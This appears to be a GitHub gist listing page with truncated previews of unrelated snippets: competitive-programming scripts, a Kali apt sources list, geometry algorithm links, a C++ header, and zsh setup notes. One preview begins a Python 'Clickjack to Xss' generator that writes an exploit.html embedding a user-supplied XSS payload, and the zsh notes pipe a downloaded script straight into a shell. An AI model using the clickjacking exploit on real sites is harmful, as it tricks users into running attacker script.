Student | Akshat Khare |
---|---|
Github | @akshat-khare |
Organisation | Open Roberta Lab |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
"""Download and setup problems from Competitive Companion | |
Usage: | |
download_prob.py --echo | |
download_prob.py [<name>... | -n <number> | -b <batches> | --timeout <timeout>] [--dryrun] | |
Options: | |
-h --help Show this screen. | |
--echo Just echo received responses and exit. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
mode="$1" | |
if [[ "$mode" == "perf" ]]; then | |
cmd="$2" | |
i=0 | |
while true | |
do | |
echo "Test $((i+=1))" | |
python gen.py > gendata |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
deb http://kali.cs.nctu.edu.tw/ /kali main contrib non-free | |
deb http://kali.cs.nctu.edu.tw/ /wheezy main contrib non-free | |
deb http://kali.cs.nctu.edu.tw/kali kali-dev main contrib non-free | |
deb http://kali.cs.nctu.edu.tw/kali kali-dev main/debian-installer | |
deb-src http://kali.cs.nctu.edu.tw/kali kali-dev main contrib non-free | |
deb http://kali.cs.nctu.edu.tw/kali kali main contrib non-free | |
deb http://kali.cs.nctu.edu.tw/kali kali main/debian-installer | |
deb-src http://kali.cs.nctu.edu.tw/kali kali main contrib non-free | |
deb http://kali.cs.nctu.edu.tw/kali-security kali/updates main contrib non-free | |
deb-src http://kali.cs.nctu.edu.tw/kali-security kali/updates main contrib non-free |
- Graham Scan algorithm for Convex Hull O(n * log(n))
- Online construction of 3-D convex hull in O(n^2)
- Bentley Ottmann algorithm to list all intersection points of n line segments in O((n + I) * logn)
- Suggested Reading - http://softsurfer.com/Archive/algorithm_0108/algorithm_0108.htm
- Rotating Calipers Technique
- Suggested Reading - http://cgm.cs.mcgill.ca/~orm/rotcal.html
- Problems - Refer the article for a list of problems which can be solved using Rotating Calipers technique.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// C++ includes used for precompiling -*- C++ -*- | |
// Copyright (C) 2003-2013 Free Software Foundation, Inc. | |
// | |
// This file is part of the GNU ISO C++ Library. This library is free | |
// software; you can redistribute it and/or modify it under the | |
// terms of the GNU General Public License as published by the | |
// Free Software Foundation; either version 3, or (at your option) | |
// any later version. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
print "Clickjack to Xss" | |
vector=raw_input('xss vector--> ') #xss payload | |
html=raw_input('Custom Iframe Code--> ') #custom iframe code | |
fo=open('exploit.html','w') #creating html file | |
source_code="""<html><body> | |
<h1>Clickjack to exploit self xss </h1> | |
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '%s')"><h3>DRAG ME!!</h3></div> | |
"""%(vector) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// C++ includes used for precompiling -*- C++ -*- | |
// Copyright (C) 2003-2013 Free Software Foundation, Inc. | |
// | |
// This file is part of the GNU ISO C++ Library. This library is free | |
// software; you can redistribute it and/or modify it under the | |
// terms of the GNU General Public License as published by the | |
// Free Software Foundation; either version 3, or (at your option) | |
// any later version. |
Prereq:
apt-get install zsh
apt-get install git-core
Getting zsh to work in ubuntu is weird, since sh
does not understand the source
command. So, you do this to install zsh
wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | zsh
NewerOlder